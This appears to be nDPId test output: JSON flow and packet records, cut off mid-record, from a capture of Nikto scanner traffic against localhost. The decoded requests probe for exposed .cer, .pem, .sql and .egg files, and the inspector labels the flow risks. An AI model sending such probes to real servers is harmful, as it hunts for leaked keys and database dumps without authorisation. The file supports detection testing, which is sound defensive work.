+00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":275,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":275,"flow_packet_id":1,"flow_first_seen":1576420277096,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50094,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00627{"flow_id":275,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":275,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":96295,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCcsRAAEAGyW9\/AAABfwAAAcOuH5Drmkq5YpvrhoAYAED+tgAAAQEICp1m\/JCdZvyQR0VUIC8xMjcwMDEuY2VyIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":275,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":275,"flow_packet_id":1,"flow_first_seen":1576420277096,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50094,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127001.cer","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":276,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":276,"flow_packet_id":1,"flow_first_seen":1576420277098,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50096,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":276,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":276,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":98048,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCRRhAAEAG9xt\/AAABfwAAAcOwH5DRhn1t\/ojAOIAYAED+tgAAAQEICp1m\/JGdZvyRR0VUIC8xMjcwMDEuY2VyIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":276,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":276,"flow_packet_id":1,"flow_first_seen":1576420277098,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50096,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127001.cer","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":277,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":277,"flow_packet_id":1,"flow_first_seen":1576420277100,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50098,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00620{"flow_id":277,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":277,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":100378,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC931JAAEAGXOZ\/AAABfwAAAcOyH5BYxOcsixzBAIAYAED+sQAAAQEICp1m\/JSdZvyUR0VUIC8wLmNlciBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":277,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":277,"flow_packet_id":1,"flow_first_seen":1576420277100,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50098,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0.cer","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":278,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":278,"flow_packet_id":1,"flow_first_seen":1576420277106,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50100,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00620{"flow_id":278,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":278,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":106410,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9aFtAAEAG091\/AAABfwAAAcO0H5ATAFAmoohjQYAYAED+sQAAAQEICp1m\/JqdZvyaR0VUIC8wLmNlciBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":278,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":278,"flow_packet_id":1,"flow_first_seen":1576420277106,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50100,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0.cer","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":279,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":279,"flow_packet_id":1,"flow_first_seen":1576420277109,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50102,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":279,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":279,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":109391,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFvlhAAEAGfdh\/AAABfwAAAcO2H5BO24YshrKR94AYAED+uQAAAQEICp1m\/J2dZvydR0VUIC8xMjcuMC4wLjEuZWdnIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":279,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":279,"flow_packet_id":1,"flow_first_seen":1576420277109,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50102,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.1.egg","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":280,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":280,"flow_packet_id":1,"flow_first_seen":1576420277113,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50104,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":280,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":280,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":113679,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADF+v9AAEAGQTF\/AAABfwAAAcO4H5AzScKEmziDBYAYAED+uQAAAQEICp1m\/KGdZvyhR0VUIC8xMjcuMC4wLjEuZWdnIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":280,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":280,"flow_packet_id":1,"flow_first_seen":1576420277113,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50104,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.1.egg","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":281,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":281,"flow_packet_id":1,"flow_first_seen":1576420277115,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50106,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":281,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":281,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":115463,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADAxXJAAEAGdsN\/AAABfwAAAcO6H5BPqv0Pb+YcGYAYAED+tAAAAQEICp1m\/KOdZvyjR0VUIC8xMjcwLmVnZyBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":281,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":281,"flow_packet_id":1,"flow_first_seen":1576420277115,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50106,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1270.egg","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":282,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":282,"flow_packet_id":1,"flow_first_seen":1576420277116,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50108,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":282,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":282,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":116903,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADAsDlAAEAGi\/x\/AAABfwAAAcO8H5B5M4hJ8rxYu4AYAED+tAAAAQEICp1m\/KSdZvykR0VUIC8xMjcwLmVnZyBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":282,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":282,"flow_packet_id":1,"flow_first_seen":1576420277116,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50108,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1270.egg","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":283,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":283,"flow_packet_id":1,"flow_first_seen":1576420277118,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50110,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":283,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":283,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":118281,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBWpRAAEAG4aB\/AAABfwAAAcO+H5A50mLuGW1voYAYAED+tQAAAQEICp1m\/KadZvymR0VUIC8xMjcwMC5wZW0gSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":283,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":283,"flow_packet_id":1,"flow_first_seen":1576420277118,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50110,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/12700.pem","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":284,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":284,"flow_packet_id":1,"flow_first_seen":1576420277119,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50112,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":284,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":284,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":119654,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBojBAAEAGmgR\/AAABfwAAAcPAH5CoeZpSE7JOEoAYAED+tQAAAQEICp1m\/KedZvynR0VUIC8xMjcwMC5wZW0gSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":284,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":284,"flow_packet_id":1,"flow_first_seen":1576420277119,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50112,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/12700.pem","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":285,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":285,"flow_packet_id":1,"flow_first_seen":1576420277121,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50114,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":285,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":285,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":121003,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADB1+ZAAEAGZE5\/AAABfwAAAcPCH5Dv1e9lqA5LqYAYAED+tQAAAQEICp1m\/KidZvyoR0VUIC8xMjcwMC5zcWwgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":285,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":285,"flow_packet_id":1,"flow_first_seen":1576420277121,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50114,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/12700.sql","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":286,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":286,"flow_packet_id":1,"flow_first_seen":1576420277122,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50116,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00625{"flow_id":286,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":286,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":122225,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBr9xAAEAGjFh\/AAABfwAAAcPEH5A9f5dbU\/lctoAYAED+tQAAAQEICp1m\/KqdZvyqR0VUIC8xMjcwMC5zcWwgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":286,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":286,"flow_packet_id":1,"flow_first_seen":1576420277122,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50116,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/12700.sql","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":287,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":287,"flow_packet_id":1,"flow_first_seen":1576420277123,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50118,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":287,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":287,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":123735,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADAYAxAAEAG3Cl\/AAABfwAAAcPGH5DSd1iLatlmxYAYAED+tAAAAQEICp1m\/KudZvyrR0VUIC9zaXRlLmVnZyBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":287,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":287,"flow_packet_id":1,"flow_first_seen":1576420277123,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50118,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard 